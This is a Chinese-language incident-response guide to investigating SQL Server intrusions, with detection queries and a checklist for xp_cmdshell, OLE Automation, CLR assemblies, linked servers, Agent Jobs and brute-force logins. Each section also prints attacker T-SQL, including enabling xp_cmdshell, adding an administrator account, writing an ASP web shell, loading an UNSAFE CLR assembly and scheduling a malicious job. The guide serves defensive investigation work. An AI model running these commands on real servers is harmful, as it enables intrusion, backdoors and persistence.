SQL-Server入侵分析
前置说明
SQL Server 是 Windows 环境下最常见的关系型数据库,也是攻击者从 Web 入侵到系统层面的关键跳板
攻击者利用 SQL Server 的核心路径:SQL 注入 → xp_cmdshell/CLR → 系统命令执行 → 持久化
本页覆盖 SQL Server 2008 R2 到 SQL Server 2022 的应急分析
关联页面:12-IIS-Web应用入侵 | 03-事件日志分析 | 14-MySQL入侵分析
一、SQL Server 认证与审计基础 1.1 认证模式 Windows 认证模式(推荐):
使用 Windows 账户/Kerberos 认证
不在 SQL Server 中存储密码
支持密码策略、账户锁定
混合模式(SQL Server + Windows 认证):
额外允许 SQL Server 本地账户登录(如 sa)
sa 账户是攻击者的首要目标
很多旧系统仍然使用混合模式 + 弱密码 sa
检查认证模式:
1 2 3 4 5 6 7 8 9 10 11 $instances = Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL' foreach ($inst in $instances .PSObject.Properties | Where-Object { $_ .Name -ne 'PS*' }) { $path = "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$ ($inst .Value)\MSSQLServer" $loginMode = (Get-ItemProperty $path ).LoginMode Write-Output "Instance: $ ($inst .Name) → LoginMode: $loginMode (1=Windows, 2=Mixed)" }
1.2 SQL Server 日志体系 错误日志(Error Log):
1 2 3 4 5 默认路径: C:\Program Files\Microsoft SQL Server\MSSQLXX.MSSQLSERVER\MSSQL\Log \ ├── ERRORLOG # 当前错误日志 ├── ERRORLOG .1 # 上一个周期 ├── ERRORLOG .2 └── ...(默认保留 6 个)
错误日志内容包括:
服务启动/停止
登录失败(如果启用了审计)
错误和警告信息
备份/还原操作
查看错误日志:
1 2 3 4 5 6 Get-Content "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log\ERRORLOG" -Tail 100
SQL Server 审计级别配置:
1 2 3 4 5 # 审计级别(通过 SSMS 或注册表设置) # 0 = None → 不记录登录事件(最差) # 1 = Successful → 仅记录成功登录 # 2 = Failed → 仅记录失败登录 # 3 = Both → 记录所有登录事件(推荐)
1 2 3 4 $regPath = "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQLServer" (Get-ItemProperty $regPath ).AuditLevel
Windows 应用程序事件日志中的 SQL Server 事件:
1 2 3 Get-WinEvent -FilterHashtable @ {LogName='Application' ;ProviderName='MSSQLSERVER' } -MaxEvents 100 |Select-Object TimeCreated, Id, LevelDisplayName, Message | Format-Table -AutoSize
1.3 SQL Server 与 MySQL 对比
维度
SQL Server
MySQL
默认端口
1433
3306
超级账户
sa
root
命令执行
xp_cmdshell
UDF / INTO OUTFILE
日志位置
ERRORLOG + Windows Event
general_log + error.log
认证方式
Windows/SQL 混合
用户名密码
提权路径
CLR/OLE/Agent Job
UDF/写文件/定时任务
运行平台
仅 Windows(2017+ 支持 Linux)
跨平台
二、xp_cmdshell — 命令执行核心 2.1 xp_cmdshell 原理 xp_cmdshell 是 SQL Server 内置的扩展存储过程,允许直接执行操作系统命令
以 SQL Server 服务账户的权限执行(通常是 NT Service\MSSQLSERVER 或本地系统账户)
默认情况下 SQL Server 2005+ 禁用 ,但 sysadmin 角色可以启用它
攻击者的标准操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 EXEC sp_configure 'show advanced options' , 1 ;RECONFIGURE; EXEC sp_configure 'xp_cmdshell' , 1 ;RECONFIGURE; EXEC xp_cmdshell 'whoami' ;EXEC xp_cmdshell 'net user hacker P@ssw0rd /add' ;EXEC xp_cmdshell 'net localgroup administrators hacker /add' ;EXEC xp_cmdshell 'powershell -enc JABjAGwAaQBlAG4A...' ;
2.2 检测 xp_cmdshell 的启用和使用 方法一:检查当前配置
1 2 3 4 5 6 7 8 EXEC sp_configure 'xp_cmdshell' ;SELECT name, value_in_useFROM sys.configurationsWHERE name = 'xp_cmdshell' ;
方法二:SQL Server 错误日志
1 2 3 4 5 $logDir = "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log" Get-ChildItem "$logDir \ERRORLOG*" | ForEach-Object { Select-String -Path $_ .FullName -Pattern 'xp_cmdshell|sp_configure|cmdshell' -CaseSensitive :$false }
方法三:SQL Server 默认跟踪(Default Trace)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SELECT path FROM sys.traces WHERE is_default = 1 ;SELECT StartTime, LoginName, HostName, ApplicationName, TextData FROM fn_trace_gettable( (SELECT LEFT (path, LEN(path) - CHARINDEX('\' , REVERSE(path))) + '\log.trc' FROM sys.traces WHERE is_default = 1 ), DEFAULT ) WHERE EventClass = 22 AND TextData LIKE '%xp_cmdshell%' ORDER BY StartTime DESC ;
方法四:Windows 安全日志
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $sqlAccount = 'NT Service\MSSQLSERVER' Get-WinEvent -FilterHashtable @ {LogName='Security' ;Id=4688 } -MaxEvents 200000 |Where-Object { $creator = $_ .Properties[1 ].Value $process = $_ .Properties[5 ].Value ($creator -like '*MSSQL*' -or $creator -like '*SQLSERVER*' ) -and ($process -like '*cmd.exe*' -or $process -like '*powershell*' -or $process -like '*net.exe*' -or $process -like '*net1.exe*' ) } | ForEach-Object { [PSCustomObject ]@ { Time = $_ .TimeCreated Creator = $_ .Properties[1 ].Value Process = $_ .Properties[5 ].Value CmdLine = $_ .Properties[8 ].Value } } | Format-Table -AutoSize
2.3 xp_cmdshell 被删除后的替代方案 攻击者如果发现 xp_cmdshell 被删除或阻止,会使用以下替代方案:
方法一:重新注册 xp_cmdshell
1 2 EXEC sp_addextendedproc 'xp_cmdshell' , 'xplog70.dll' ;
方法二:直接调用底层 API
方法三:利用 SQL Agent Job
三、OLE Automation — sp_OACreate 攻击 3.1 OLE Automation 原理 OLE Automation 允许 SQL Server 调用 COM 对象
相关存储过程:sp_OACreate、sp_OAMethod、sp_OAGetProperty、sp_OASetProperty、sp_OADestroy
攻击者利用方式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 EXEC sp_configure 'show advanced options' , 1 ;RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures' , 1 ;RECONFIGURE; DECLARE @shell INT ;EXEC sp_OACreate 'WScript.Shell' , @shell OUT ;EXEC sp_OAMethod @shell , 'Run' , NULL , 'cmd.exe /c whoami > C:\temp\out.txt' ;DECLARE @fso INT , @file INT ;EXEC sp_OACreate 'Scripting.FileSystemObject' , @fso OUT ;EXEC sp_OAMethod @fso , 'CreateTextFile' , @file OUT , 'C:\inetpub\wwwroot\shell.asp' , 1 ;EXEC sp_OAMethod @file , 'Write' , NULL , '<%eval(request("c"))%>' ;EXEC sp_OAMethod @file , 'Close' ;
3.2 检测 OLE Automation 使用 1 2 3 4 5 6 7 8 9 10 11 $logDir = "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log" Get-ChildItem "$logDir \ERRORLOG*" | ForEach-Object { Select-String -Path $_ .FullName -Pattern 'sp_OACreate|OLE Automation|sp_OAMethod' }
检查 SQL Server 配置变更历史:
1 2 3 4 5 6 7 8 9 10 11 SELECT StartTime, LoginName, HostName, TextData FROM fn_trace_gettable( (SELECT LEFT (path, LEN(path) - CHARINDEX('\' , REVERSE(path))) + '\log.trc' FROM sys.traces WHERE is_default = 1 ), DEFAULT ) WHERE TextData LIKE '%sp_configure%' ORDER BY StartTime DESC ;
四、CLR Assembly 攻击 4.1 CLR Assembly 原理 SQL Server 支持加载 .NET CLR Assembly(DLL),在数据库内执行 .NET 代码
这是最隐蔽的 SQL Server 命令执行方式,因为代码在 SQL Server 进程内执行
攻击过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 EXEC sp_configure 'clr enabled' , 1 ;RECONFIGURE; ALTER DATABASE master SET TRUSTWORTHY ON ;CREATE ASSEMBLY [CmdExec]FROM 0x4D5A900003000000 ... WITH PERMISSION_SET = UNSAFE;CREATE PROCEDURE [dbo].[cmd_exec] @cmd NVARCHAR(4000 ) AS EXTERNAL NAME [CmdExec].[StoredProcedures].[cmd_exec];EXEC cmd_exec 'whoami' ;
4.2 检测 CLR Assembly 攻击 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 SELECT name, value_in_useFROM sys.configurationsWHERE name IN ('clr enabled' , 'clr strict security' );SELECT a.name AS AssemblyName, a.permission_set_desc, a.create_date, a.modify_date, af.name AS FileName, m.assembly_class, m.assembly_method FROM sys.assemblies aLEFT JOIN sys.assembly_files af ON a.assembly_id = af.assembly_idLEFT JOIN sys.assembly_modules m ON a.assembly_id = m.assembly_idWHERE a.is_user_defined = 1 ORDER BY a.create_date DESC ;SELECT name, is_trustworthy_onFROM sys.databasesWHERE is_trustworthy_on = 1 ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $connStr = "Server=localhost;Database=master;Integrated Security=True" $conn = New-Object System.Data.SqlClient.SqlConnection($connStr )$conn .Open()$cmd = $conn .CreateCommand()$cmd .CommandText = @" SELECT a.name, a.permission_set_desc, a.create_date, af.content FROM sys.assemblies a JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id WHERE a.is_user_defined = 1 "@ $reader = $cmd .ExecuteReader()while ($reader .Read()) { Write-Output "Assembly: $ ($reader ['name']), Permission: $ ($reader ['permission_set_desc']), Created: $ ($reader ['create_date'])" } $conn .Close()
4.3 CLR Assembly 取证 — 提取和分析 1 2 3 4 5 6 7 SELECT af.name, af.contentFROM sys.assemblies aJOIN sys.assembly_files af ON a.assembly_id = af.assembly_idWHERE a.is_user_defined = 1 ;
导出 Assembly 为 DLL 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $connStr = "Server=localhost;Database=master;Integrated Security=True" $conn = New-Object System.Data.SqlClient.SqlConnection($connStr )$conn .Open()$cmd = $conn .CreateCommand()$cmd .CommandText = "SELECT af.name, af.content FROM sys.assemblies a JOIN sys.assembly_files af ON a.assembly_id = af.assembly_id WHERE a.is_user_defined = 1" $reader = $cmd .ExecuteReader()while ($reader .Read()) { $name = $reader ['name' ] $bytes = [byte []]$reader ['content' ] [System.IO.File ]::WriteAllBytes("C:\IR\$name .dll" , $bytes ) Write-Output "Exported: $name .dll ($ ($bytes .Length) bytes)" } $conn .Close()
五、Linked Server 横向移动 5.1 Linked Server 攻击原理 SQL Server Linked Server 允许在一个实例中查询另一个数据库服务器
攻击者利用 Linked Server 进行横向移动,从一台 SQL Server 跳转到另一台
如果 Linked Server 配置了高权限账户(如 sa),可以在远程服务器执行命令
攻击方式:
1 2 3 4 5 6 7 8 9 10 11 12 EXEC sp_linkedservers;SELECT * FROM sys.servers WHERE is_linked = 1 ;SELECT * FROM OPENQUERY([LinkedServerName], 'SELECT @@servername' );EXEC ('xp_cmdshell ''whoami''' ) AT [LinkedServerName];EXEC ('EXEC (''xp_cmdshell ''''whoami'''''') AT [ServerC]' ) AT [ServerB];
5.2 检测 Linked Server 滥用 1 2 3 4 5 6 7 8 9 10 11 12 SELECT s.name AS LinkedServer, s.data_source AS DataSource, s.provider, ll.remote_name AS MappedRemoteLogin, s.is_rpc_out_enabled, s.is_data_access_enabled, s.modify_date FROM sys.servers sLEFT JOIN sys.linked_logins ll ON s.server_id = ll.server_idWHERE s.is_linked = 1 ;
危险配置标识:
is_rpc_out_enabled = 1 → 允许在远程服务器执行存储过程
remote_name = 'sa' → 使用 sa 账户连接远程服务器
1 2 3 4 Get-ChildItem "$logDir \ERRORLOG*" | ForEach-Object { Select-String -Path $_ .FullName -Pattern 'OPENQUERY|linked server|AT \[' -CaseSensitive :$false }
六、SQL Agent Job 持久化 6.1 SQL Agent Job 作为后门 SQL Server Agent 是内置的任务调度系统,相当于 Windows 的计划任务
攻击者创建恶意 Agent Job 实现持久化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 USE msdb; EXEC sp_add_job @job_name = N'System Maintenance' ; EXEC sp_add_jobstep @job_name = N'System Maintenance' , @step_name = N'Step1' , @subsystem = N'CmdExec' , @command = N'powershell -enc JABjAGwA...' , @on_success_action = 1 ; EXEC sp_add_jobschedule @job_name = N'System Maintenance' , @name = N'DailyRun' , @freq_type = 4 , @freq_interval = 1 , @active_start_time = 020000 ; EXEC sp_add_jobserver @job_name = N'System Maintenance' ;
6.2 检测恶意 SQL Agent Job 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 SELECT j.name AS JobName, j.enabled, j.date_created, j.date_modified, js.step_name, js.subsystem, js.command, jsc.name AS ScheduleName, jsc.freq_type FROM msdb.dbo.sysjobs jJOIN msdb.dbo.sysjobsteps js ON j.job_id = js.job_idLEFT JOIN msdb.dbo.sysjobschedules jss ON j.job_id = jss.job_idLEFT JOIN msdb.dbo.sysschedules jsc ON jss.schedule_id = jsc.schedule_idWHERE js.subsystem IN ('CmdExec' , 'PowerShell' , 'ActiveScripting' ) OR js.command LIKE '%powershell%' OR js.command LIKE '%cmd /c%' OR js.command LIKE '%xp_cmdshell%' ORDER BY j.date_created DESC ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $connStr = "Server=localhost;Database=msdb;Integrated Security=True" $conn = New-Object System.Data.SqlClient.SqlConnection($connStr )$conn .Open()$cmd = $conn .CreateCommand()$cmd .CommandText = @" SELECT j.name, j.date_created, js.step_name, js.subsystem, js.command FROM dbo.sysjobs j JOIN dbo.sysjobsteps js ON j.job_id = js.job_id WHERE js.subsystem IN ('CmdExec','PowerShell') ORDER BY j.date_created DESC "@ $reader = $cmd .ExecuteReader()while ($reader .Read()) { Write-Output "Job: $ ($reader ['name']) | Step: $ ($reader ['step_name']) | Type: $ ($reader ['subsystem'])" Write-Output " Command: $ ($reader ['command'])" Write-Output " Created: $ ($reader ['date_created'])" Write-Output "---" } $conn .Close()
检查 SQL Agent Job 执行历史:
1 2 3 4 5 6 7 8 9 10 11 12 SELECT j.name AS JobName, h.step_name, h.run_date, h.run_time, h.run_duration, h.run_status, h.message FROM msdb.dbo.sysjobhistory hJOIN msdb.dbo.sysjobs j ON h.job_id = j.job_idORDER BY h.run_date DESC , h.run_time DESC ;
七、SQL Server 账户安全审计 7.1 高权限账户排查 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 SELECT l.name AS LoginName, l.type_desc AS LoginType, l.create_date, l.modify_date, l.is_disabled FROM sys.server_principals lJOIN sys.server_role_members rm ON l.principal_id = rm.member_principal_idJOIN sys.server_principals r ON rm.role_principal_id = r.principal_idWHERE r.name = 'sysadmin' ORDER BY l.create_date DESC ;SELECT name, type_desc, create_date, modify_date, is_disabled, is_policy_checked, is_expiration_checked FROM sys.sql_loginsORDER BY create_date DESC ;SELECT name, type_desc, create_dateFROM sys.server_principalsWHERE create_date > DATEADD(day , -30 , GETDATE()) AND type IN ('S' , 'U' ) ORDER BY create_date DESC ;
7.2 数据库用户权限审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 EXEC sp_MSforeachdb @command1 = ' USE [?]; SELECT DB_NAME() AS DatabaseName, dp.name AS UserName, dp.type_desc, r.name AS RoleName FROM sys.database_role_members drm JOIN sys.database_principals dp ON drm.member_principal_id = dp.principal_id JOIN sys.database_principals r ON drm.role_principal_id = r.principal_id WHERE r.name = ''db_owner'' ' ;SELECT pr.name AS PrincipalName, pe.permission_name, pe.state_desc FROM sys.server_permissions peJOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_idWHERE pe.state_desc = 'GRANT' AND pe.permission_name NOT IN ('CONNECT SQL' , 'VIEW ANY DATABASE' ) ORDER BY pr.name;
7.3 sa 账户安全检查 1 2 3 4 5 6 7 8 9 10 11 12 SELECT name, is_disabled, is_policy_checked, is_expiration_checked, LOGINPROPERTY('sa' , 'PasswordLastSetTime' ) AS PasswordLastSet, LOGINPROPERTY('sa' , 'BadPasswordCount' ) AS BadPasswordCount, LOGINPROPERTY('sa' , 'BadPasswordTime' ) AS LastBadPasswordTime, LOGINPROPERTY('sa' , 'LockoutTime' ) AS LockoutTime FROM sys.sql_loginsWHERE name = 'sa' ;
最佳实践:
禁用 sa 账户或重命名
设置极强密码
启用密码策略检查
监控所有使用 sa 的登录尝试
八、SQL Server 暴力破解检测 8.1 错误日志中的登录失败 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $logDir = "C:\Program Files\Microsoft SQL Server\MSSQL16.MSSQLSERVER\MSSQL\Log" Get-ChildItem "$logDir \ERRORLOG*" | ForEach-Object { Select-String -Path $_ .FullName -Pattern 'Login failed for user' } | ForEach-Object { $line = $_ .Line if ($line -match "Login failed for user '([^']+)'.*\[CLIENT: ([^\]]+)\]" ) { [PSCustomObject ]@ { File = $_ .Filename Line = $_ .LineNumber User = $matches [1 ] ClientIP = $matches [2 ] Raw = $line } } } | Group-Object ClientIP | Sort-Object Count -Descending | Select-Object Count, Name, @ {N='Users' ;E={($_ .Group.User | Sort-Object -Unique ) -join ',' }} |Format-Table -AutoSize
8.2 Windows 事件日志中的 SQL 登录失败 1 2 3 4 5 6 7 8 9 10 Get-WinEvent -FilterHashtable @ {LogName='Application' ;Id=18456 ;ProviderName='MSSQLSERVER' } -MaxEvents 10000 |ForEach-Object { [PSCustomObject ]@ { Time = $_ .TimeCreated Message = $_ .Message.Substring(0 , [Math ]::Min(200 , $_ .Message.Length)) } } | Group-Object { ($_ .Message -split '\[CLIENT: ' )[1 ] -replace '\].*' } | Sort-Object Count -Descending |Select-Object Count, Name | Format-Table -AutoSize
Event ID 18456 Severity/State 对照:
1 2 3 4 5 6 7 8 State 2 /5 : 用户 ID 无效State 6 : 尝试使用 Windows 登录名State 7 : 登录被禁用State 8 : 密码错误(最常见的暴力破解)State 9 : 密码不匹配State 11 /12 : 登录有效但服务器访问失败State 13 : SQL Server 服务暂停State 18 : 需要更改密码
九、综合排查流程与清单 9.1 SQL Server 入侵排查 SOP Phase 1: 确认入侵
检查 ERRORLOG 中的登录失败和成功记录
检查 xp_cmdshell / OLE Automation / CLR 是否被启用
检查最近创建的 SQL 登录账户
Phase 2: 评估影响
确定攻击者执行了哪些命令(xp_cmdshell 历史)
检查是否有数据外泄(大量 SELECT 或 BCP 操作)
检查 Linked Server 是否被用于横向移动
Phase 3: 排查持久化
检查 SQL Agent Jobs(CmdExec/PowerShell 步骤)
检查 CLR Assembly(用户自定义的)
检查后门存储过程
检查数据库触发器(DDL/DML Trigger)
Phase 4: 清理与加固
禁用 xp_cmdshell、OLE Automation、CLR(如非必需)
删除恶意 Agent Job、Assembly、存储过程
重置所有 SQL 账户密码
审核 Linked Server 配置
9.2 快速检查清单 配置检查:
[ ] xp_cmdshell 是否启用
[ ] OLE Automation 是否启用
[ ] CLR 是否启用
[ ] TRUSTWORTHY 数据库
[ ] 认证模式(Windows / Mixed)
[ ] 审计级别是否设为 Both(3)
账户检查:
[ ] sysadmin 成员列表
[ ] 最近创建的登录账户
[ ] sa 账户状态
[ ] 弱密码检查
持久化检查:
[ ] SQL Agent Job(CmdExec/PowerShell 类型)
[ ] CLR Assembly(用户定义的)
[ ] Linked Server 配置
[ ] 后门存储过程
[ ] 数据库触发器
日志检查:
[ ] ERRORLOG 登录失败统计
[ ] 默认跟踪中的配置变更
[ ] Application Event Log(18456)
详见 14-MySQL入侵分析 了解 MySQL 侧的对应排查方法